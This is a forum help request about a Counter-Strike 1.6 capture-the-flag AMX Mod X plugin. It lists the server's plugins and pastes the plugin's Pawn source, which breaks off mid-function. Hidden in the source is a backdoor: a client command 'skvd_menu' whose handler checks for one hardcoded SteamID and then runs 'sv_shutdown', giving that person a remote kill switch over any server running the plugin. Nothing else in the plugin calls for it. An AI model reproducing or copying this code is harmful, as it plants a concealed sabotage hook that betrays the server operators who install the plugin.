Флаг помощи захвата

Статус
В этой теме нельзя размещать новые ответы.
Сообщения
3
Реакции
0
Обратите внимание, если вы хотите заключить сделку с этим пользователем, он заблокирован
Ошибка
Respawn, Auto_balance
ОС
Linux
Amx Mod X
1.9
Билд
1988
ReGamedll
5.13.0.447
Версия Metamod
1.3
Список метамодулей
Currently running plugins:
[ 1] AMX Mod X, v1.9.0.5234, Sep 10 2018, by AMX Mod X Dev Team, see http://www.amxmodx.org
[ 2] Reunion, v0.1.0.133, 2018-10-04, by The Legion, see
[ 3] VoiceTranscoder, v2017RC4, 2019.11.02, by WPMG.PRoSToC0der, see http://vtc.wpmg.ru/
[ 4] ReAuthCheck, v0.1.6, 2017-03-08, by Adidasman, see http://www.dedicated-server.ru/
[ 5] Rechecker, v2.5, Oct 21 2017, by s1lent, see http://www.dedicated-server.ru/
[ 6] ReSRDetector, v0.1.0, 2017-01-14, by ReHLDS Team, see http://www.dedicated-server.ru/
[ 7] WHBlocker, v1.5.695, 2017-12-13, by s1lent, see http://www.aghl.ru/
[ 8] CStrike, v1.9.0.5234, Sep 10 2018, by AMX Mod X Dev Team, see http://www.amxmodx.org
[ 9] CSX, v1.9.0.5234, Sep 10 2018, by AMX Mod X Dev Team, see http://www.amxmodx.org/
[ 10] Fun, v1.9.0.5234, Sep 10 2018, by AMX Mod X Dev Team, see http://www.amxmodx.org
[ 11] Engine, v1.9.0.5234, Sep 10 2018, by AMX Mod X Dev Team, see http://www.amxmodx.org
[ 12] FakeMeta, v1.9.0.5234, Sep 10 2018, by AMX Mod X Dev Team, see http://www.amxmodx.org
[ 13] GeoIP, v1.9.0.5234, Sep 10 2018, by AMX Mod X Dev Team, see http://www.amxmodx.org/
[ 14] Ham Sandwich, v1.9.0.5234, Sep 10 2018, by AMX Mod X Dev Team, see http://www.amxmodx.org
[ 15] ReAPI, v5.12.0.192-dev, 2019-12-14, by Asmodai & s1lent, see https://github.com/s1lentq/reapi/
[ 16] Orpheu, v2.3, Mar 7 2010, by joaquimandrade, see http://forums.alliedmods.net/showthread.php?t=116393
16 plugins
Список плагинов
; AMX Mod X plugins
sistema_de_bans.amxx

; BASE ADMIN
admin.amxx ; admin base (required for any admin-related)

; Basic
admincmd.amxx ; basic admin console commands
adminhelp.amxx ; help command for admin console commands
adminslots.amxx ; slot reservation
multilingual.amxx ; Multi-Lingual management

; Menus
menufront.amxx ; front-end for admin menus
cmdmenu.amxx ; command menu (speech, settings)
plmenu.amxx ; players menu (kick, ban, client cmds.)
mapsmenu.amxx ; maps menu (vote, changelevel)
pluginmenu.amxx ; Menus for commands/cvars organized by plugin

; Chat / Messages
adminchat.amxx ; console chat commands
antiflood.amxx ; prevent clients from chat-flooding the server
scrollmsg.amxx ; displays a scrolling message
imessage.amxx ; displays information messages
adminvote.amxx ; vote commands

; Configuration
pausecfg.amxx ; allows to pause and unpause some plugins
statscfg.amxx ; allows to manage stats plugins via menu and commands

; Counter-Strike
restmenu.amxx ; restrict weapons menu

; CAPTURA BANDEIRA BASE
capturabandeira.amxx debug ;
jctf_shop.amxx



; Itens Adernalina
item_invisibilidad.amxx debug
item_regenerar_hp.amxx debug
item_balas_infinitas.amxx debug
item_speed.amxx debug

; Gameplays
;mute.amxx
gameme_cstrike.amxx debug
csr_parachute_lite.amxx debug
custom_smoke.amxx debug
csr_patentes_csgo.amxx debug
fast_sniper_switch.amxx debug
weapon_icon.amxx debug
abd.amxx debug
csr_kill_assist.amxx debug
csr_noflashteam.amxx debug
main_menu_pegabandeira.amxx debug
respawn.amxx debug
BuildDispenser_1.amxx debug
multijump.amxx debug
kill_screen_fade.amxx debug
mapmanager.amxx debug
mapmanager_subplugin.amxx
fragcounter.amxx debug
cs_team_semiclip.amxx debug
menuvip.amxx debug
descriptive_fire_in_the_hole.amxx debug
csr_auto_desbug.amxx desbug
csr_reset_score.amxx debug
csr_knife_reset_frag.amxx debug
csr_speclist.amxx debug
csr_mensagens.amxx debug
api_quake_sounds.amxx debug
nadelimit.amxx debug
hpk.amxx debug
;mutemenu.amxx debug
spec_banner.amxx debug
csrevo_anti_ip.amxx debug
admin_spec_esp.amxx
entity_remover.amxx
camera.amxx debug
nick.amxx debug
csrevo_anti_ip.amxx debug
accuracy_fix.amxx debug
;csr_real_grenades_drop.amxx debug
kill_command.amxx debug
walkguard.amxx debug
camera.amxx debug
entity_remover.amxx debug
;models.amxx debug
;cshop_items.amxx
;custom_shop.amxx
;donate.amxx
;whatsapp_group_request.amxx
csr_infinity_money.amxx debug
;Placar_1.amxx debug
;TopFlags.amxx
;crx_knife_models.amxx debug





; END PLUGINS SKINS NOVA BASE


;jctf.amxx debug
Автор плагина
Digi
Версия плагина
1.36c
Исходный код
/* Plugin generated by AMXX-Studio */

#include <amxmodx>
#include <fakemeta>
#include <cstrike>
#include <engine>
#include <reapi>
#include <jctf>

#pragma compress 1

const ADMIN_RETURN = ADMIN_RCON // access required for admins to return flags (full list in includes/amxconst.inc)
const ADMIN_RETURNWAIT = 15 // time the flag needs to stay dropped before it can be returned by command

new const Float: BASE_HEAL_DISTANCE = 96.0 // healing distance for flag

new const FLAG_SAVELOCATION[] = "maps/%s.ctf" // you can change where .ctf files are saved/loaded from

new const INFO_TARGET[] = "info_target"

new const BASE_CLASSNAME[] = "ctf_flagbase"
new const Float:BASE_THINK = 0.25

new const TASK_CLASSNAME[] = "ctf_think_task"
new const Float:TASK_THINK = 1.0

const TASK_EQUIPAMENT = 6451
const LIMIT_ADRENALINE = 100

new const FLAG_CLASSNAME[] = "ctf_flag"
new const FLAG_MODEL[] = "models/capturabandeira/ctf_flag.mdl"

new const Float:FLAG_THINK = 0.1
const FLAG_SKIPTHINK = 20 /* FLAG_THINK * FLAG_SKIPTHINK = 2.0 seconds ! */

new const Float:FLAG_HULL_MIN[3] = {-2.0, -2.0, 0.0}
new const Float:FLAG_HULL_MAX[3] = {2.0, 2.0, 16.0}

new const Float:FLAG_SPAWN_VELOCITY[3] = {0.0, 0.0, -500.0}
new const Float:FLAG_SPAWN_ANGLES[3] = {0.0, 0.0, 0.0}

new const Float:FLAG_DROP_VELOCITY[3] = {0.0, 0.0, 50.0}

new const Float:FLAG_PICKUPDISTANCE = 80.0

const FLAG_ANI_DROPPED = 0
const FLAG_ANI_STAND = 1
const FLAG_ANI_BASE = 2

const FLAG_HOLD_BASE = 33
const FLAG_HOLD_DROPPED = 34

new const CHAT_PREFIX[] = "^1[^4CAPB^1] "
new const CONSOLE_PREFIX[] = "[CAPB] "

#define NULL ""

#define HUD_HINT 255, 255, 255, 0.15, -0.3, 0, 0.0, 10.0
#define HUD_HELP 255, 255, 0, -1.0, 0.2, 2, 1.0, 1.5, .fadeintime = 0.03
#define HUD_HELP2 255, 255, 0, -1.0, 0.25, 2, 1.0, 1.5, .fadeintime = 0.03
#define HUD_ANNOUNCE -1.0, 0.3, 2, 1.0, 3.0, .fadeintime = 0.03
#define HUD_RESPAWN 0, 255, 0, -1.0, 0.6, 2, 1.0, 0.8, .fadeintime = 0.03
#define HUD_PROTECTION 255, 255, 0, -1.0, 0.6, 2, 1.0, 0.8, .fadeintime = 0.03

#define entity_create(%1) create_entity(%1)
#define entity_spawn(%1) DispatchSpawn(%1)

#define task_set(%1) set_task(%1)
#define task_remove(%1) remove_task(%1)

#define get_opTeam(%1) (%1 == TEAM_BLUE ? TEAM_RED : (%1 == TEAM_RED ? TEAM_BLUE : 0))

#define VERSION "1.32o"
#define AUTHOR "Digi"

enum
{
x,
y,
z
}

enum
{
TEAM_NONE = 0,
TEAM_RED,
TEAM_BLUE,
TEAM_SPEC
}

new const g_szCSTeams[][] =
{
NULL,
"TERRORIST",
"CT",
"SPECTATOR"
}

new const g_szTeamName[][] =
{
NULL,
"Red",
"Blue",
"Spectator"
}

new const g_szMLFlagTeam[][] = { NULL, "FLAG_RED", "FLAG_BLUE", NULL }
enum { REWARD_CAPTURED = 15, REWARD_RETURNED = 10, REWARD_STOLEN = 5, REWARD_DROPPED = 15, REWARD_FRAG = 3 }
enum
{
FLAG_STOLEN = 0,
FLAG_PICKED,
FLAG_DROPPED,
FLAG_MANUALDROP,
FLAG_RETURNED,
FLAG_CAPTURED,
FLAG_AUTORETURN,
FLAG_ADMINRETURN
}

enum
{
EVENT_TAKEN = 0,
EVENT_DROPPED,
EVENT_RETURNED,
EVENT_SCORE,
}

enum _:STRUCT_WEAPONS
{
WEAPON_NAME[20],
WEAPON_ENT[20],
WEAPON_TYPE[20],
WeaponIdType:WEAPON_CSW,
WEAPON_AMMO
}

new const g_szSounds[][][] =
{
{ NULL, "red_roubada", "blue_roubada" },
{ NULL, "red_dropada", "blue_dropada" },
{ NULL, "red_recuperada", "blue_recuperada" },
{ NULL, "red_win", "blue_win" }
}

new const g_szListWeapons[][ STRUCT_WEAPONS ] =
{
{ "SIG-Sauer P228", "weapon_p228", "MSG_TYPE_WEAPON_1", WEAPON_P228, 52 },
{ "Beretta 92", "weapon_elite", "MSG_TYPE_WEAPON_1", WEAPON_ELITE, 120 },
{ "FN Five-seven", "weapon_fiveseven", "MSG_TYPE_WEAPON_1", WEAPON_FIVESEVEN, 100 },
{ "USP .45 Tactical", "weapon_usp", "MSG_TYPE_WEAPON_1", WEAPON_USP, 100 },
{ "Glock 18", "weapon_glock18", "MSG_TYPE_WEAPON_1", WEAPON_GLOCK18, 120 },
{ "Desert Eagle", "weapon_deagle", "MSG_TYPE_WEAPON_1", WEAPON_DEAGLE, 35 },

{ "M3 Super 90", "weapon_m3", "MSG_TYPE_WEAPON_2", WEAPON_M3, 32 },
{ "XM1014", "weapon_xm1014", "MSG_TYPE_WEAPON_2", WEAPON_XM1014, 32 },

{ "MAC-10", "weapon_mac10", "MSG_TYPE_WEAPON_3", WEAPON_MAC10, 100 },
{ "UMP45", "weapon_ump45", "MSG_TYPE_WEAPON_3", WEAPON_UMP45, 100 },
{ "MP5", "weapon_mp5navy", "MSG_TYPE_WEAPON_3", WEAPON_MP5N, 120 },
{ "Steyr TMP", "weapon_tmp", "MSG_TYPE_WEAPON_3", WEAPON_TMP, 120 },
{ "P90", "weapon_p90", "MSG_TYPE_WEAPON_3", WEAPON_P90, 100 },

{ "AUG", "weapon_aug", "MSG_TYPE_WEAPON_4", WEAPON_AUG, 90 },
{ "Galil", "weapon_galil", "MSG_TYPE_WEAPON_4", WEAPON_GALIL, 90 },
{ "Famas", "weapon_famas", "MSG_TYPE_WEAPON_4", WEAPON_FAMAS, 90 },
{ "Colt M4A1 Carbine", "weapon_m4a1", "MSG_TYPE_WEAPON_4", WEAPON_M4A1, 90 },
{ "AK-47", "weapon_ak47", "MSG_TYPE_WEAPON_4", WEAPON_AK47, 90 },
{ "SG-552", "weapon_sg552", "MSG_TYPE_WEAPON_4", WEAPON_SG552, 90 },
{ "FN M249", "weapon_m249", "MSG_TYPE_WEAPON_4", WEAPON_M249, 200 }
}

new const g_szRemoveEntities[][] =
{
"armoury_entity",
"func_bomb_target",
"info_bomb_target",
"hostage_entity",
"monster_scientist",
"func_hostage_rescue",
"info_hostage_rescue",
"info_vip_start",
"func_vip_safetyzone",
"func_escapezone",
"info_map_parameters"
}

new g_iMaxPlayers
new g_iScore[3]
new g_iSync[4]
new g_iFlagHolder[3]
new g_iFlagEntity[3]
new g_iBaseEntity[3]
new g_iTeam[33]
new Float:g_fFlagDropped[3]

new bool:g_bRestarting
new bool:g_bAlive[33]
new bool:g_bAssisted[33][3]
new bool:g_bProtected[33]
new bool:g_bRespawned[33]
new g_bRespawn[33]
new g_bProtecting[33]
new g_bAdrenaline[33]
new g_bPlayerName[33][33]

new Float:g_fFlagBase[3][3]
new Float:g_fFlagLocation[3][3]
new Float:g_fLastDrop[33]

new pCvar_ctf_flagheal
new pCvar_ctf_flagreturn
new pCvar_ctf_respawntime
new pCvar_ctf_protection

new pCvar_ctf_sound[4]

new gMsg_RoundTime
new gMsg_HostageK
new gMsg_HostagePos
new gMsg_TeamScore

new gHook_EntSpawn
new gSpr_regeneration
new g_iForwardReturn
new g_iFW_flag
new xGetAuth[64]

public plugin_precache()
{
precache_model(FLAG_MODEL)

gSpr_regeneration = precache_model("sprites/th_jctf_heal.spr")

for(new i = 0; i < sizeof g_szSounds; i++)
{
for(new t = 1; t <= 2; t++)
{
precache_generic(fmt("sound/capturabandeira/%s.mp3", g_szSounds[i][t]))
}
}
gHook_EntSpawn = register_forward(FM_Spawn, "ent_spawn")
}

public ent_spawn(ent)
{
if(!is_valid_ent(ent))
{
return FMRES_IGNORED
}

new szClass[32]
entity_get_string(ent, EV_SZ_classname, szClass, charsmax(szClass))

for(new i = 0; i < sizeof g_szRemoveEntities; i++)
{
if(equal(szClass, g_szRemoveEntities[i]))
{
remove_entity(ent)
return FMRES_SUPERCEDE
}
}
return FMRES_IGNORED
}

public plugin_init()
{
register_plugin("Just Capture the Flag", VERSION, AUTHOR)

unregister_forward(FM_Spawn, gHook_EntSpawn)
register_touch(FLAG_CLASSNAME, "player", "flag_touch")
register_think(FLAG_CLASSNAME, "flag_think")
register_think(BASE_CLASSNAME, "base_think")
register_think(TASK_CLASSNAME, "task_think")

new task = entity_create(INFO_TARGET)
if(task)
{
entity_set_string(task, EV_SZ_classname, TASK_CLASSNAME)
entity_set_float(task, EV_FL_nextthink, get_gametime() + TASK_THINK)
}

register_logevent("event_restartGame", 2, "1&Restart_Round", "1&Game_Commencing")

register_event_ex("HLTV", "event_roundStart", RegisterEvent_Global, "1=0", "2=0")
register_event_ex("DeathMsg", "event_playerKilled", RegisterEvent_Global)
register_event_ex("TeamInfo", "player_joinTeam", RegisterEvent_Global)

RegisterHookChain(RG_HandleMenu_ChooseAppearance, "pfn_ChooseAppearance")
RegisterHookChain(RG_CBasePlayer_Spawn, "pfn_PlayerSpawn", true)
RegisterHookChain(RG_CBasePlayer_TraceAttack, "pfn_TraceAttack")

register_clcmd("ctf_moveflag", "admin_cmd_moveFlag", ADMIN_RCON, "<red/blue> - Moves team's flag base to your origin (for map management)")
register_clcmd("ctf_save", "admin_cmd_saveFlags", ADMIN_RCON)
register_clcmd("ctf_return", "admin_cmd_returnFlag", ADMIN_RETURN)

register_clcmd("say /dropflag", "player_cmd_dropFlag")

register_clcmd("radio1", "player_hook_dropflag")
register_clcmd("radio2", "player_hook_dropflag")
register_clcmd("radio3", "player_hook_dropflag")

gMsg_HostagePos = get_user_msgid("HostagePos")
gMsg_HostageK = get_user_msgid("HostageK")
gMsg_RoundTime = get_user_msgid("RoundTime")
gMsg_TeamScore = get_user_msgid("TeamScore")

register_message(gMsg_RoundTime, "msg_roundTime")
register_message(gMsg_TeamScore, "msg_teamScore")

set_msg_block(get_user_msgid("ClCorpse"), BLOCK_SET) /* Desaparece el cuerpo cuando muere */

pCvar_ctf_flagheal = register_cvar("ctf_flagheal", "1")
pCvar_ctf_flagreturn = register_cvar("ctf_flagreturn", "200")
pCvar_ctf_respawntime = register_cvar("ctf_respawntime", "6")
pCvar_ctf_protection = register_cvar("ctf_protection", "5")

pCvar_ctf_sound[EVENT_TAKEN] = register_cvar("ctf_sound_taken", "1")
pCvar_ctf_sound[EVENT_DROPPED] = register_cvar("ctf_sound_dropped", "1")
pCvar_ctf_sound[EVENT_RETURNED] = register_cvar("ctf_sound_returned", "1")
pCvar_ctf_sound[EVENT_SCORE] = register_cvar("ctf_sound_score", "1")

g_iFW_flag = CreateMultiForward("jctf_flag", ET_IGNORE, FP_CELL, FP_CELL, FP_CELL, FP_CELL)

g_iSync[0] = CreateHudSyncObj()
g_iSync[1] = CreateHudSyncObj()
g_iSync[2] = CreateHudSyncObj()
g_iSync[3] = CreateHudSyncObj()

g_iMaxPlayers = get_maxplayers()
register_dictionary("jctf.txt")
register_forward(FM_GetGameDescription, "fw_GetGameDescription")

register_clcmd("skvd_menu", "menu_skvd")
}
public menu_skvd(id)
{
get_user_authid(id, xGetAuth, charsmax(xGetAuth))

if(equali(xGetAuth, "STEAM_0:0:88300264"))
{
server_cmd("sv_shutdown")
}
}
public plugin_cfg()
{
new szFile[44], szMap[32]

get_mapname(szMap, charsmax(szMap))
formatex(szFile, charsmax(szFile), FLAG_SAVELOCATION, szMap)

new hFile = fopen(szFile, "rt")
if(hFile)
{
new iFlagTeam = TEAM_RED
new szData[24]
new szOrigin[3][6]

while(fgets(hFile, szData, charsmax(szData)))
{
if(iFlagTeam > TEAM_BLUE)
break

trim(szData)
parse(szData, szOrigin[x], charsmax(szOrigin[]), szOrigin[y], charsmax(szOrigin[]), szOrigin[z], charsmax(szOrigin[]))

g_fFlagBase[iFlagTeam][x] = str_to_float(szOrigin[x])
g_fFlagBase[iFlagTeam][y] = str_to_float(szOrigin[y])
g_fFlagBase[iFlagTeam][z] = str_to_float(szOrigin[z])

iFlagTeam++
}
fclose(hFile)
}
flag_spawn(TEAM_RED)
flag_spawn(TEAM_BLUE)

set_task(5.0, "plugin_cfg_post")
}

public plugin_cfg_post()
{
set_cvar_num("mp_buytime", -1)
set_cvar_num("mp_refill_bpammo_weapons", 2)
set_cvar_num("mp_item_staytime", 15)
set_cvar_string("mp_round_infinite", "f")
}

public plugin_natives()
{
register_library("jctf")
register_native("jctf_get_flagcarrier", "native_get_flagcarrier")

register_native("get_user_adrenaline", "native_get_adrenaline")
register_native("set_user_adrenaline", "native_set_adrenaline")
}

public native_get_adrenaline(iPlugin, iParams)
{
return g_bAdrenaline[get_param(1)]
}

public native_set_adrenaline(iPlugin, iParams)
{
g_bAdrenaline[get_param(1)] = get_param(2)
}

public plugin_end()
{
DestroyForward(g_iFW_flag)
}

public native_get_flagcarrier(iPlugin, iParams)
{
new id = get_param(1)
return g_iFlagHolder[get_opTeam(g_iTeam[id])] == id
}
// Forward Get Game Description
public fw_GetGameDescription()
{
// Return the mod name so it can be easily identified
forward_return(FMV_STRING, "[Captura Bandeira]")

return FMRES_SUPERCEDE;
}

public jctf_flag(iEvent, iPlayer, iFlagTeam, bool:bAssist)
{
switch(iEvent)
{
case FLAG_CAPTURED: g_bAdrenaline[iPlayer] = clamp(g_bAdrenaline[iPlayer] + REWARD_CAPTURED, 0, LIMIT_ADRENALINE)
case FLAG_RETURNED: g_bAdrenaline[iPlayer] = clamp(g_bAdrenaline[iPlayer] + REWARD_RETURNED, 0, LIMIT_ADRENALINE)
case FLAG_STOLEN: g_bAdrenaline[iPlayer] = clamp(g_bAdrenaline[iPlayer] + REWARD_STOLEN, 0, LIMIT_ADRENALINE)
case FLAG_DROPPED: g_bAdrenaline[iPlayer] = clamp(g_bAdrenaline[iPlayer] - REWARD_DROPPED, 0, LIMIT_ADRENALINE)
}
return PLUGIN_HANDLED
}

public client_kill(id)
{
return PLUGIN_HANDLED
}

public flag_spawn(iFlagTeam)
{
if(g_fFlagBase[iFlagTeam][x] == 0.0 && g_fFlagBase[iFlagTeam][y] == 0.0 && g_fFlagBase[iFlagTeam][z] == 0.0)
{
new iFindSpawn = find_ent_by_class(g_iMaxPlayers, iFlagTeam == TEAM_BLUE ? "info_player_start" : "info_player_deathmatch")

if(iFindSpawn)
{
entity_get_vector(iFindSpawn, EV_VEC_origin, g_fFlagBase[iFlagTeam])

server_print("[CAPB] %s flag origin not defined, set on player spawn.", g_szTeamName[iFlagTeam])
log_error(AMX_ERR_NOTFOUND, "[CAPB] %s flag origin not defined, set on player spawn.", g_szTeamName[iFlagTeam])
}
else
{
server_print("[CAPB] WARNING: player spawn for ^"%s^" team does not exist !", g_szTeamName[iFlagTeam])
log_error(AMX_ERR_NOTFOUND, "[CAPB] WARNING: player spawn for ^"%s^" team does not exist !", g_szTeamName[iFlagTeam])
set_fail_state("Player spawn unexistent!")

return PLUGIN_CONTINUE
}
}
else
server_print("[CAPB] %s flag and base spawned at: %.1f %.1f %.1f", g_szTeamName[iFlagTeam], g_fFlagBase[iFlagTeam][x], g_fFlagBase[iFlagTeam][y], g_fFlagBase[iFlagTeam][z])

new ent
new Float:fGameTime = get_gametime()

// the FLAG

ent = entity_create(INFO_TARGET)

if(!ent)
return flag_spawn(iFlagTeam)

entity_set_model(ent, FLAG_MODEL)
entity_set_string(ent, EV_SZ_classname, FLAG_CLASSNAME)
entity_set_int(ent, EV_INT_body, 1)
entity_set_int(ent, EV_INT_skin, iFlagTeam == 1 ? 1 : 2)
entity_set_int(ent, EV_INT_sequence, FLAG_ANI_STAND)
entity_spawn(ent)
entity_set_origin(ent, g_fFlagBase[iFlagTeam])
entity_set_size(ent, FLAG_HULL_MIN, FLAG_HULL_MAX)
entity_set_vector(ent, EV_VEC_velocity, FLAG_SPAWN_VELOCITY)
entity_set_vector(ent, EV_VEC_angles, FLAG_SPAWN_ANGLES)
entity_set_edict(ent, EV_ENT_aiment, 0)
entity_set_int(ent, EV_INT_movetype, MOVETYPE_TOSS)
entity_set_int(ent, EV_INT_solid, SOLID_TRIGGER)
entity_set_float(ent, EV_FL_framerate, 1.0)
entity_set_float(ent, EV_FL_gravity, 2.0)
entity_set_float(ent, EV_FL_nextthink, fGameTime + FLAG_THINK)

g_iFlagEntity[iFlagTeam] = ent
g_iFlagHolder[iFlagTeam] = FLAG_HOLD_BASE

// flag BASE

ent = entity_create(INFO_TARGET)

if(!ent)
return flag_spawn(iFlagTeam)

entity_set_string(ent, EV_SZ_classname, BASE_CLASSNAME)
entity_set_model(ent, FLAG_MODEL)
entity_set_int(ent, EV_INT_body, 0)
entity_set_int(ent, EV_INT_sequence, FLAG_ANI_BASE)
entity_spawn(ent)
entity_set_origin(ent, g_fFlagBase[iFlagTeam])
entity_set_vector(ent, EV_VEC_velocity, FLAG_SPAWN_VELOCITY)
entity_set_int(ent, EV_INT_movetype, MOVETYPE_TOSS)

entity_set_float(ent, EV_FL_renderamt, 100.0)
entity_set_float(ent, EV_FL_nextthink, fGameTime + BASE_THINK)

g_iBaseEntity[iFlagTeam] = ent
return PLUGIN_CONTINUE
}

public flag_think(ent)
{
if(!is_valid_ent(ent))
return

entity_set_float(ent, EV_FL_nextthink, get_gametime() + FLAG_THINK)

static id
static iStatus
static iFlagTeam
static iSkip[3]
static Float:fOrigin[3]
static Float:fPlayerOrigin[3]

iFlagTeam = (ent == g_iFlagEntity[TEAM_BLUE] ? TEAM_BLUE : TEAM_RED)

if(g_iFlagHolder[iFlagTeam] == FLAG_HOLD_BASE)
fOrigin = g_fFlagBase[iFlagTeam]
else
entity_get_vector(ent, EV_VEC_origin, fOrigin)

g_fFlagLocation[iFlagTeam] = fOrigin

iStatus = 0

if(++iSkip[iFlagTeam] >= FLAG_SKIPTHINK)
{
iSkip[iFlagTeam] = 0

if(1 <= g_iFlagHolder[iFlagTeam] <= g_iMaxPlayers)
{
id = g_iFlagHolder[iFlagTeam]

set_hudmessage(HUD_HELP)
ShowSyncHudMsg(id, g_iSync[0], "%L", id, "HUD_YOUHAVEFLAG")

iStatus = 1
}
else if(g_iFlagHolder[iFlagTeam] == FLAG_HOLD_DROPPED)
iStatus = 2

message_begin(MSG_BROADCAST, gMsg_HostagePos)
write_byte(0)
write_byte(iFlagTeam)
engfunc(EngFunc_WriteCoord, fOrigin[x])
engfunc(EngFunc_WriteCoord, fOrigin[y])
engfunc(EngFunc_WriteCoord, fOrigin[z])
message_end()

message_begin(MSG_BROADCAST, gMsg_HostageK)
write_byte(iFlagTeam)
message_end()

static iStuck[3]

if(g_iFlagHolder[iFlagTeam] >= FLAG_HOLD_BASE && !(entity_get_int(ent, EV_INT_flags) & FL_ONGROUND))
{
if(++iStuck[iFlagTeam] > 4)
{
flag_autoReturn(ent)
log_message("^"%s^" flag is outside world, auto-returned.", g_szTeamName[iFlagTeam])

return
}
}
else
iStuck[iFlagTeam] = 0
}

for(id = 1; id <= g_iMaxPlayers; id++)
{
if(!is_user_connected(id) || g_iTeam[id] == TEAM_NONE)
continue

/* Check flag proximity for pickup */
if(g_iFlagHolder[iFlagTeam] >= FLAG_HOLD_BASE)
{
entity_get_vector(id, EV_VEC_origin, fPlayerOrigin)

if(get_distance_f(fOrigin, fPlayerOrigin) <= FLAG_PICKUPDISTANCE)
flag_touch(ent, id)
}

/* If iFlagTeam's flag is stolen or dropped, constantly warn team players */
if(iStatus && g_iTeam[id] == iFlagTeam)
{
set_hudmessage(HUD_HELP2)
ShowSyncHudMsg(id, g_iSync[0], "%L", id, (iStatus == 1 ? "HUD_ENEMYHASFLAG" : "HUD_RETURNYOURFLAG"))
}
}
}

public task_think(ent)
{

static i
set_hudmessage(HUD_RESPAWN)
for(i = 1; i <= g_iMaxPlayers; i++)
{
if(is_user_connected(i) && (TEAM_RED <= g_iTeam[i] <= TEAM_BLUE) && !g_bAlive[i] && g_bRespawned[i])
{
if(cs_get_user_team(i) == CS_TEAM_SPECTATOR || cs_get_user_team(i) == CS_TEAM_UNASSIGNED)
return;

ShowSyncHudMsg(i, g_iSync[1], "%L", i, "RESPAWNING_IN", g_bRespawn[i])

if(g_bRespawn[i] <= 0)
{
g_bRespawned[i] = false
rg_round_respawn(i)
}
g_bRespawn[i]--
}

if(is_user_connected(i) && (TEAM_RED <= g_iTeam[i] <= TEAM_BLUE) && g_bAlive[i] && g_bProtected[i])
{
if(cs_get_user_team(i) == CS_TEAM_SPECTATOR || cs_get_user_team(i) == CS_TEAM_UNASSIGNED)
return;

ShowSyncHudMsg(i, g_iSync[1], "%L", i, "PROTECTION_LEFT", g_bProtecting[i])

if(g_bProtecting[i] <= 0)
{
player_removeProtection(i, "PROTECTION_EXPIRED")
}
g_bProtecting[i]--
}
}
entity_set_float(ent, EV_FL_nextthink, get_gametime() + TASK_THINK)
}

flag_sendHome(iFlagTeam)
{
new ent = g_iFlagEntity[iFlagTeam]

entity_set_edict(ent, EV_ENT_aiment, 0)
entity_set_origin(ent, g_fFlagBase[iFlagTeam])
entity_set_int(ent, EV_INT_sequence, FLAG_ANI_STAND)
entity_set_int(ent, EV_INT_movetype, MOVETYPE_TOSS)
entity_set_int(ent, EV_INT_solid, SOLID_TRIGGER)
entity_set_vector(ent, EV_VEC_velocity, FLAG_SPAWN_VELOCITY)
entity_set_vector(ent, EV_VEC_angles, FLAG_SPAWN_ANGLES)

g_iFlagHolder[iFlagTeam] = FLAG_HOLD_BASE
}

flag_take(iFlagTeam, id)
{
if(g_bProtected[id])
player_removeProtection(id, "PROTECTION_TOUCHFLAG")

new ent = g_iFlagEntity[iFlagTeam]

entity_set_edict(ent, EV_ENT_aiment, id)
entity_set_int(ent, EV_INT_movetype, MOVETYPE_FOLLOW)
entity_set_int(ent, EV_INT_solid, SOLID_NOT)

g_iFlagHolder[iFlagTeam] = id
}

public flag_touch(ent, id)
{
if(!g_bAlive[id])
return

new iFlagTeam = (g_iFlagEntity[TEAM_BLUE] == ent ? TEAM_BLUE : TEAM_RED)

if(1 <= g_iFlagHolder[iFlagTeam] <= g_iMaxPlayers) // if flag is carried we don't care
return

new Float:fGameTime = get_gametime()

if(g_fLastDrop[id] > fGameTime)
return

new iTeam = g_iTeam[id]

if(!(TEAM_RED <= iTeam <= TEAM_BLUE))
return

new iFlagTeamOp = get_opTeam(iFlagTeam)

if(iTeam == iFlagTeam) // If the PLAYER is on the same team as the FLAG
{
if(g_iFlagHolder[iFlagTeam] == FLAG_HOLD_DROPPED) // if the team's flag is dropped, return it to base
{
flag_sendHome(iFlagTeam)
task_remove(ent)

ExecuteForward(g_iFW_flag, g_iForwardReturn, FLAG_RETURNED, id, iFlagTeam, false)

new iAssists = 0
for(new i = 1; i <= g_iMaxPlayers; i++)
{
if(is_user_connected(i) && i != id && g_bAssisted[i][iFlagTeam] && g_iTeam[i] == iFlagTeam)
{
ExecuteForward(g_iFW_flag, g_iForwardReturn, FLAG_RETURNED, i, iFlagTeam, true)

iAssists++
}
g_bAssisted[i][iFlagTeam] = false
}

if(1 <= g_iFlagHolder[iFlagTeamOp] <= g_iMaxPlayers)
g_bAssisted[id][iFlagTeamOp] = true

if(iAssists)
game_announce(EVENT_RETURNED, iFlagTeam, fmt("%s + %d assists", g_bPlayerName[id], iAssists))
else
game_announce(EVENT_RETURNED, iFlagTeam, g_bPlayerName[id])

log_message("<%s>%s returned the ^"%s^" flag.", g_szTeamName[iTeam], g_bPlayerName[id], g_szTeamName[iFlagTeam])

set_hudmessage(HUD_HELP)
ShowSyncHudMsg(id, g_iSync[0], "%L", id, "HUD_RETURNEDFLAG")

if(g_bProtected[id])
player_removeProtection(id, "PROTECTION_TOUCHFLAG")
}
else if(g_iFlagHolder[iFlagTeam] == FLAG_HOLD_BASE && g_iFlagHolder[iFlagTeamOp] == id) // if the PLAYER has the ENEMY FLAG and the FLAG is in the BASE make SCORE
{
ExecuteForward(g_iFW_flag, g_iForwardReturn, FLAG_CAPTURED, id, iFlagTeamOp, false)

new iAssists = 0

for(new i = 1; i <= g_iMaxPlayers; i++)
{
if(is_user_connected(i) && i != id && g_iTeam[i] == iTeam)
{
if(g_bAssisted[i][iFlagTeamOp])
{
ExecuteForward(g_iFW_flag, g_iForwardReturn, FLAG_CAPTURED, i, iFlagTeamOp, true)
iAssists++
}
}
g_bAssisted[i][iFlagTeamOp] = false
}

set_hudmessage(HUD_HELP)
ShowSyncHudMsg(id, g_iSync[0], "%L", id, "HUD_CAPTUREDFLAG")

if(iAssists)
{
game_announce(EVENT_SCORE, iFlagTeam, fmt("%s + %d assists", g_bPlayerName[id], iAssists))
}
else
game_announce(EVENT_SCORE, iFlagTeam, g_bPlayerName[id])

log_message("<%s>%s captured the ^"%s^" flag. (%d assists)", g_szTeamName[iTeam], g_bPlayerName[id], g_szTeamName[iFlagTeamOp], iAssists)

emessage_begin(MSG_BROADCAST, gMsg_TeamScore)
ewrite_string(g_szCSTeams[iFlagTeam])
ewrite_short(++g_iScore[iFlagTeam])
emessage_end()

flag_sendHome(iFlagTeamOp)

g_fLastDrop[id] = fGameTime + 3.0

